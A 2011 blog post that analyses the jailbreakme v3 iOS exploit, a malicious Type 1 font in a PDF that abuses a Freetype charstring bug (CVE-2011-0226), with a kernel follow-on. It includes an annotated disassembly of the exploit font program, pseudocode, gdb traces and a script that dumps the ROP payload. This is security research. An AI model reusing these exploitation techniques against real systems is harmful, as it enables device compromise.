Analysis of the jailbreakme v3 font exploit

Sat 16 July 2011 by jean

Two weeks ago, comex released the third version of jailbreakme. Two exploits are used to jailbreak Apple devices by opening a PDF file in the MobileSafari browser: initial code execution is obtained through a vulnerability in the Freetype Type 1 font parser, allowing subsequent exploitation of a kernel vulnerability to disable code signing enforcement, get root privileges and "install" the jailbreak. The same kernel vulnerability is also exploited at each reboot to provide an untethered jailbreak, using the Incomplete Codesign technique to bootstrap the kernel exploit. The two vulnerabilities (and another Freetype vulnerability not used by jailbreakme) were patched with the release of iOS 4.3.4.

The vulnerability (CVE-2011-0226) is located in the interpreter for Type 1 font programs. Vector font formats like Adobe Type 1 use small interpreted programs to render characters outlines at different sizes. In Freetype the t1_decoder_parse_charstrings function is responsible for executing such programs (called charstrings).

To start our analysis we need to extract the font from the jailbreakme PDF file, we can do this using Origami :

require "origami"
include Origami

pdf ="iPhone_4.3.3_8J2.pdf")
data = pdf.get_object(12).data"jbmev3_t1font.bin", "wb") {|f| f.write(data) }

In order to disassemble the charstrings contained in the font, I could not get t1disas to work so I wrote a minimal Python script to disassemble Type 1 opcodes. The Type 1 specification is available on Adobe's website.It is not necessary to understand everything about fonts and font programs, we just need to figure out the primitives used in the exploit and their effects on the interpreter state. The main structure used by the interpreter is T1_DecoderRec, defined in include/freetype/internal/psaux.h :

//sizeof T1_DecoderRec = 0x5dc
typedef struct  T1_DecoderRec_
        T1_BuilderRec        builder;

        //offsetof stack = 0x70
        FT_Long              stack[T1_MAX_CHARSTRINGS_OPERANDS];

        //offsetof top = 0x470
        FT_Long*             top;//stack pointer

        //offsetof zones = 0x474
        T1_Decoder_ZoneRec   zones[T1_MAX_SUBRS_CALLS + 1];
                FT_Byte*  cursor;
                FT_Byte*  base;
                FT_Byte*  limit;

        T1_Decoder_Zone      zone;//current zone

        FT_Service_PsCMaps   psnames;
        FT_UInt              num_glyphs;
        FT_Byte**            glyph_names;

        FT_Int               lenIV;
        FT_UInt              num_subrs;
        //offsetof subrs = 0x558
        FT_Byte**            subrs;
        FT_PtrDist*          subrs_len;

        FT_Matrix            font_matrix;
        FT_Vector            font_offset;

        FT_Int               flex_state;
        FT_Int               num_flex_vectors;
        FT_Vector            flex_vectors[7];

        PS_Blend             blend;
        //offsetof hint_mode = 0x5BC
        FT_Render_Mode       hint_mode;

        //offsetof parse_callback = 0x5c0
        T1_Decoder_Callback  parse_callback;
        //offsetof funcs = 0x5c4
        T1_Decoder_FuncsRec  funcs;
                FT_Error (*init)( T1_Decoder           decoder,
                                 FT_Face              face,
                                 FT_Size              size,
                                 FT_GlyphSlot         slot,
                                 FT_Byte**            glyph_names,
                                 PS_Blend             blend,
                                 FT_Bool              hinting,
                                 FT_Render_Mode       hint_mode,
                                 T1_Decoder_Callback  callback );

                void (*done)( T1_Decoder  decoder );

                FT_Error (*parse_charstrings)( T1_Decoder  decoder,
                                                          FT_Byte*    base,
                                                          FT_UInt     len );

        //offsetof buildchar = 0x5d0
        FT_Long*             buildchar;
        //offsetof len_buildchar = 0x5d4
        FT_UInt              len_buildchar;
        //offsetof seac = 0x5d8
        FT_Bool              seac;

} T1_DecoderRec;

The main memory locations available to a legitimate font program and used by the exploit are :

  • the operand/result stack (decoder->stack). This stack grows "up".
  • two variables : x and y (local variables in t1_decoder_parse_charstrings)
  • the decoder->buildchar array

The buildchar array is actually defined and initialized (all zeroes) by the /BuildCharArray command in the font. Its size is set to 0x30000.

The vulnerable code and the main idea behind comex's exploit were mentioned by windknown on twitter : a missing check on the arg_cnt parameter for the callothersubr operation allows a malicious font program to move the interpreter stack pointer outside of its bounds, providing read and write access to various fields of the T1_DecoderRec structure (and the "real" stack since this structure is a local variable of the T1_Load_Glyph function).

The jailbreakme font program uses this vulnerability to read the decoder->parse_callback field (and a few others), construct a ROP payload in the decoder->buildchar array, and execute this payload by overwriting decoder->parse_callback and triggering a call to this function pointer. The following primitives are used to program the interpreter (the "weird machine") :

  • push instructions : write constant value on the interpreter stack. The stack pointer is checked before use.
  • op_setcurrentpoint : read 2 dwords from the stack into variables x and y. This operation does not check the stack pointer.
  • callothersubr #00 : write the x and y variables on the stack. This operation does not check the stack pointer but has preconditions : decoder->flex_state != 0 && decoder->num_flex_vectors == 7. The argument count for this routine is 3 but only the first 2 parameters are used (overwritten with x and y).
  • callothersubr #42 : calls an invalid subroutine with a negative argument count to bring the stack pointer beyond the stack area. This is the vulnerability that makes the exploit work.
  • op_hstem3, op_hmoveto, op_unknown15 instructions to "bring down" the stack pointer back into its bounds
  • callothersubr #12 : reset the stack pointer (top = decoder->stack)
  • callothersubr #20 and #21 : add/subtract values on the stack
  • callothersubr #23 and #24 : read/write dwords in the buildchar array.

The PDF document contains a single page with the @ (at) character, using the malicious font. The /at font program will be run to render this character, this is the entry point of the exploit. 10 subroutines are also defined in the font and used by the /at font program :

  • subroutine 0 : "fake" subroutine, contains a zlib compressed mach-o binary that is dropped in /tmp/locutus and run by the ROP payload once the kernel exploit is done
  • subroutine 1 : empty (op_return)
  • subroutine 2 : exit interpreter (op_endchar)
  • subroutine 3 : calls callothersubr #01 to set decoder->flex_state=1 and executes callothersubr #02 seven times to set decoder->num_flex_vectors=7 : this routine sets the preconditions for the "write variables to stack unchecked" primitive (callothersubr #00)

Subroutines 4 to 7 are the primitives for the ROP payload construction :

  • subroutine 4 : write dword, increments index
    • subr4(param) => buildchar[buildchar[3]++] = param
  • subroutine 5 : write gadget/function address with ASLR offset (shared cache slide)
    • subr5(param) => subr4(param + buildchar[1]) = subr4(param + shared_cache_slide)
  • subroutine 6 : write dword + stack offset (used to get subroutine 0 address and restore the stack pointer once the ROP payload is done)
    • subr6(param) => subr4(param + buildchar[0]) = subr4(param + &decoder->zones[0])
  • subroutine 7 : write dword + buildchar array base (for "local" variables used by the ROP payload)
    • subr7(param) => subr4(param + buildchar[2]) = subr4(param + &buildchar[0])

Subroutines 8 & 9 are responsible for writing a ROP payload to the buildchar array : they contain some initialization code (described shortly hereafter), followed by a sequence of calls to subroutines 4,5,6 and 7.

Here is the annotated disassembly of the /at font program start :

File: at.bin                        SHA1: 49b6ea93254f9767ad8d314dd77ecb6850f18412
0x00000000  8e      push 0x3
0x00000001  8b      push 0x0
0x00000002  0c 21   op_setcurrentpoint              ; x=0x3; y=0x0
0x00000004  8e      push 0x3
0x00000005  0a      callsubr #03                    ; subr_enable_endflex
0x00000006  fb ef   push 0xfea50000
0x00000008  b5      push 0x2a
0x00000009  0c 10   callothersubr #42 nargs=-347;top=&decoder->seac + 4
0x0000000b  0c 10   callothersubr                   ; #00 (decoder->seac) nargs=3 (decoder->len_buildchar >> 16)
                                                ; endflex : top[0]=x; top[1]=y; top += 2
                                                ; decoder->funcs.done = x  = 0x30000 (0x3 << 16)
                                                ; decoder->funcs.parse_charstrings = y = 0x0
0x0000000d  16      op_hmoveto                      ; top -= 1; x += top[0]
0x0000000e  16      op_hmoveto                      ; top -= 1; x += top[0]
0x0000000f  16      op_hmoveto                      ; top -= 1; x += top[0]
0x00000010  0c 21   op_setcurrentpoint              ; top -= 2; x=decoder->hint_mode=0; y=decoder->parse_callback
0x00000012  0c 02   op_hstem3                       ; top -= 6
0x00000014  0c 02   op_hstem3                       ; top -= 6
0x00000016  0c 02   op_hstem3                       ; top -= 6
0x00000018  0c 02   op_hstem3                       ; top -= 6
0x0000001a  0c 02   op_hstem3                       ; top -= 6
0x0000001c  0c 02   op_hstem3                       ; top -= 6
0x0000001e  0c 02   op_hstem3                       ; top -= 6
0x00000020  0c 02   op_hstem3                       ; top -= 6
0x00000022  0c 02   op_hstem3                       ; top -= 6
0x00000024  0c 02   op_hstem3                       ; top -= 6
0x00000026  0c 02   op_hstem3                       ; top -= 6
0x00000028  0c 02   op_hstem3                       ; top -= 6
0x0000002a  0c 02   op_hstem3                       ; top -= 6
0x0000002c  0f      op_unknown15                    ; top -= 2 (/* nothing to do except to pop the two arguments */)
0x0000002d  0f      op_unknown15                    ; top -= 2 (/* nothing to do except to pop the two arguments */)
0x0000002e  16      op_hmoveto                      ; top -= 1; x += decoder->zone => x = &decoder->zones[0]
0x0000002f  0c 02   op_hstem3                       ; top -= 6
0x00000031  0c 02   op_hstem3                       ; top -= 6
0x00000033  8e      push 0x3
0x00000034  0a      callsubr #03                    ; subr_enable_endflex
0x00000035  8b      push 0x0
0x00000036  8b      push 0x0
0x00000037  8b      push 0x0
0x00000038  8e      push 0x3
0x00000039  8b      push 0x0
0x0000003a  0c 10   callothersubr #00 nargs=3       ; endflex : top[0]=x; top[1]=y; top += 2
0x0000003c  8c      push 0x1
0x0000003d  8d      push 0x2
0x0000003e  a3      push 0x18
0x0000003f  0c 10   callothersubr #24 nargs=2       ; decoder->buildchar[1] = y = decoder->parse_callback = T1_Parse_Glyph
0x00000041  8b      push 0x0
0x00000042  8d      push 0x2
0x00000043  a3      push 0x18
0x00000044  0c 10   callothersubr #24 nargs=2       ; decoder->buildchar[0] = x = &decoder->zones[0]

The program starts by initializing the variables x and y to the values 0x3 and 0x0. The instruction callothersubr #42 nargs=-347 exploits the bug to move the stack pointer at the end of the T1DecoderRec structure, right after the seac field, which is set to 0 when the structure is initialized. The length of the buildchar array was set to 0x30000, which is chosen specifically to make the len_buildchar and seac fields look like the "stack frame" for the callothersubr #00 primitive (0x30000 is 0x3 encoded in the 16.16 fixed point format used by the interpreter). Hence, the following callothersubr instruction (at offset 0xb) will write the x and y values over the funcs.done and funcs.parse_charstrings fields. This overwrite is a preparatory step for the end of the font program, where the parse_callback field is overwritten using the same primitive.

The stack pointer is then decremented by 3 op_hmoveto instructions to point to the funcs field (right after the parse_callback field). The following op_setcurrentpoint operation will read the hint_mode and parse_callback fields into the x and y variables. The stack pointer is then decremented back in the stack area to allow the next instructions to run without errors. In the process, the value of the zone field (which points to zones[0]) is also read into the x variable by the op_hmoveto instruction at offset 0x2e (it is added to the hint_mode value which is 0). The x and y variables are then pushed onto the stack (using the subroutine #03 to enable callothersubr #00), and stored in buildchar[0] and buildchar[1].The next sequence, starting at offset 0x46 with callothersubr #42 nargs=-151 follows the same pattern : it reads the decoder->buildchar pointer and stores it in buildchar[2].

Next, the value 0x7918 is written to buildchar[3] : this will be used as the index for the ROP payload building routine. This leaves 0x7918 * 4 bytes for the stack frames of functions called by the ROP payload.

Another value is also leaked using callothersubr #42 nargs=-152 and stored in buildchar[4], this is the value of the __gxx_personality_sj0 symbol stored on the stack frame of the calling function FT::font::load_glyph.Because the User-Agent field only identifies iPhone/iPad/iPod and firmware version, but not the specific model (i.e iPhone 3GS or iPhone 4), the font program contains multiple ROP building subroutines. The correct function is chosen by comparing the difference between __gxx_personality_sj0 and T1_Parse_Glyph. Since the two symbols are located in different shared libraries (libstdc++.6.dylib and libCGFreetype.A.dylib) and because the order of those libraries in the shared cache is different for the same firmware version on different devices (see Stefan Esser's talk at POC 2010), this delta identifies the device (thanks to comex for explaining this part).

The payload building subroutine number for the identified device is then pushed on the stack using conditional instructions (callothersubr #27). Depending on the device, subroutine 8 or 9 will be called.

The ROP building subroutine starts by subtracting the default T1_Parse_Glyph address from the one leaked in buildchar[1]. Now buildchar[1] contains the shared cache slide (see Stefan Esser's talk at HITB AMS 2011), which will be used by subroutine 5 to adjust the gadgets addresses written to the ROP stack and successfully bypass ASLR.Then, the address of a gadget (scale_QT+254) is computed and placed in the y variable using op_setcurrentpoint. After that, the ROP payload is constructed dword by dword, using subroutines 4,5,6 and 7. Some values that cannot be encoded directly in push operations are computed using the subtract operation.

Once the ROP payload building is done, the \\at routine recopies the first 7 dword values from the constructed ROP stack onto the decoder stack. These 7 values will be used to perform the stack pivot to the "main" ROP stack stored in the buildchar array. The last step is to overwrite decoder->parse_callback with the y variable contents. It is now that the funcs.done and funcs.parse_charstrings values make sense : the callothersubr #42 nargs=-337 (at offset 0x167) brings the stack pointer at the end of the decoder->funcs structure, whose fields were modified to be 0x30000 and 0x0, so the next callothersubr instruction calls the write primitive (callothersubr #00), that will overwrite the parse_callback field with the gadget address stored in the y variable.

Finally, the font program ends with the op_seac instruction, that triggers the following calls:

  • t1operator_seac (this function is actually inlined in t1_decoder_parse_charstrings)
  • t1_decoder_parse_glyph
  • decoder->parse_callback() that will initiate the stack pivot

The overall operation of the font exploit can be summarized by the following pseudocode :

    //required for decoder->parse_callback = y at the end
    decoder->funcs.done = 0x30000 // (0x3 << 16)
    decoder->funcs.parse_charstrings = 0x0

    //leak members of the decoder structure and store them at the start of decoder->buildchar
    y = decoder->parse_callback = T1_Parse_Glyph
    x = &decoder->zones[0]

    decoder->buildchar[1] = y = T1_Parse_Glyph
    decoder->buildchar[0] = x = &decoder->zones[0]

    y = decoder->buildchar
    decoder->buildchar[2] = y = decoder->buildchar

    y = __gxx_personality_sj0
    decoder->buildchar[3] = 0x7918

    //exit (subr 2) on ARMv6 devices, where T1_Parse_Glyph is not compiled in thumb
    //otherwise call subr3
    //callsubr 2 + T1_Parse_Glyph % 2
    callsubr (2 + ((decoder->buildchar[1] / 2) * 2))

    //detect exact device
    decoder->buildchar[4] = y - decoder->buildchar[1]  = __gxx_personality_sj0 - T1_Parse_Glyph

    //this does not match the disassembly, but this is the idea
    if( decoder->buildchar[4] == 0xff2ab38b)
        rop_build_subr = 8 //iphone 3gs
    else //if( decoder->buildchar[4] == 0xfff5a38b)
        rop_build_subr = 9 //iphone 4

    callsubr rop_build_subr
        //compute ASLR slide
        decoder->buildchar[1] -= T1_Parse_Glyph_default_addr
        y = gadget1 - decoder->buildchar[1]

        //... build rop payload with subroutines 4,5,6,7

    //recopy stack pivot ROP chain
    decoder->stack[0] = buildchar[0x7918]
    decoder->stack[1] = buildchar[0x7919]
    decoder->stack[2] = buildchar[0x791a]
    decoder->stack[3] = buildchar[0x791b]
    decoder->stack[4] = buildchar[0x791c]
    decoder->stack[5] = buildchar[0x791d]
    decoder->stack[6] = buildchar[0x791e]

    decoder->parse_callback = y

    //op_seac => initiate stack pivot

At this point, we can attach gdb to MobileSafari and set a breakpoint in t1_decoder_parse_glyph to see the transfer to the ROP payload :

Breakpoint 1, 0x33ce83b0 in t1_decoder_parse_glyph ()
(gdb) bt
#0  0x33ce83b0 in t1_decoder_parse_glyph ()
#1  0x33ce99b0 in t1_decoder_parse_charstrings ()
#2  0x33cda63c in T1_Parse_Glyph_And_Get_Char_String ()
#3  0x33cda966 in T1_Load_Glyph ()
#4  0x33cd1b2c in FT_Load_Glyph ()
#5  0x33cc7332 in FT::font::load_glyph ()
#6  0x33cc9fce in FT::path_builder::build_path_for_glyph ()
#7  0x33cca41a in FT::path_builder::create_path_for_glyph ()
#8  0x33ccd4de in (anonymous namespace)::create_glyph_path ()
#9  0x31e9dfac in CGFontCreateGlyphPath ()
#58 0x329b0806 in UIApplicationMain ()
#59 0x000d01dc in ?? ()
(gdb) x/3i $pc
0x33ce83b0 <t1_decoder_parse_glyph+4>:  ldr.w   r3, [r0, #1472]
0x33ce83b4 <t1_decoder_parse_glyph+8>:  blx     r3  ;return decoder->parse_callback()
0x33ce83b6 <t1_decoder_parse_glyph+10>: pop     {r7, pc}
(gdb) si 2
0x32e14f4a in scale_QT ()
(gdb) x/2i $pc
0x32e14f4a <scale_QT+254>:      add     sp, #320
0x32e14f4c <scale_QT+256>:      pop     {r4, r5, pc}
(gdb) si
0x32e14f4c in scale_QT ()
(gdb) x/8x $sp            ; sp = &decoder->stack[0]
0x2fec9760:     0x00000000      0x00000000      0x305a0cbd      0x03a36478
0x2fec9770:     0x305a38fd      0x00000000      0x00000000      0xfeaf0000
(gdb) si
0x305a0cbc in TICandQualityFilter_fr::TICandQualityFilter_fr ()
(gdb) x/i $pc
0x305a0cbc <_ZN22TICandQualityFilter_frC1ERKN2KB6VectorINS0_4WordEEEPK10__CFLocale+8>:
      pop     {r7, pc}
(gdb) si
0x305a38fc in -[NoteContext copyNotesForSearch:complete:] ()
(gdb) x/2i $pc
0x305a38fc <-[NoteContext copyNotesForSearch:complete:]+20>:    sub.w   sp, r7, #0      ; 0x0
0x305a3900 <-[NoteContext copyNotesForSearch:complete:]+24>:    pop     {r7, pc}
(gdb) si
0x305a3900 in -[NoteContext copyNotesForSearch:complete:] ()
(gdb) x/32x $sp            ;sp = &buildchar[0x791e]
0x3a36478:      0x00000000      0x305a0dbd      0x2fec9c48      0x00000000
0x3a36488:      0x00000000      0x00000000      0x305e343f      0x03a3679c
0x3a36498:      0x00000000      0x305c6379      0x00000000      0x32e1d613
0x3a364a8:      0x03a364c4      0x32e1d613      0x3322d8fd      0x31552538
0x3a364b8:      0x3edab084      0x03a36ec8      0x03a36ee0      0x00000000
0x3a364c8:      0x305c6379      0x03a364d8      0x305b5889      0x33841129
0x3a364d8:      0x03a364e4      0x305b5889      0x03a365e8      0x00000000
0x3a364e8:      0x32e1d613      0x03a36920      0x305a0e97      0x03a36514

We can then use the following gdb script to dump the main ROP payload and the gadgets used.

set $i=$sp
while $i < $sp+0xE00
        if *$i > 0x30000000
                x/3i *$i
        if *$i < 0x30000000
                x/x $i
        set $i=$i+4

This ROP payload exploits a kernel vulnerability in the IOMobileFramebuffer IOKit interface (CVE-2011-0227), using a kernel ROP payload that recopies a shellcode at address 0x80000400 (executable slack space at the beginning of the kernelcache mapping). The kernel shellcode patches various kernel functions to allow unsigned applications to run. It also installs a handler for syscall 0 whose sole purpose is to give root privileges to the calling process. This is used at the start of the main funtion in the locutus binary. The syscall handler is one-shot, it removes itself from the sysent array as soon as it is called (and it is not present in the untether binary since this is only required for the jailbreak installation process).

Once the kernel exploit is done, the mach-o binary contained in subroutine 0 is decompressed into /tmp/locutus and run using the posix_spawn function. Finally, the stack pointer is restored and execution resumes at the t1_decoder_parse_charstrings epilog. The R0 register is also set to 0x00000539 so that the font parser exits with a 1337 error code :) The locutus binary then installs Cydia and the untethered jailbreak package. A shared library is injected into the SpringBoard process (using mach calls and the thread_create_running function) to display the Cydia icon with a progress bar, just like a regular application installation.

This new version of jailbreakme is really impressive, and features the first public exploit that actively bypasses the ASLR mechanism introduced with iOS 4.3. A homebrew patch is even provided (PDF Patcher2) to avoid any controversy about "irresponsible disclosure". Hats off to comex !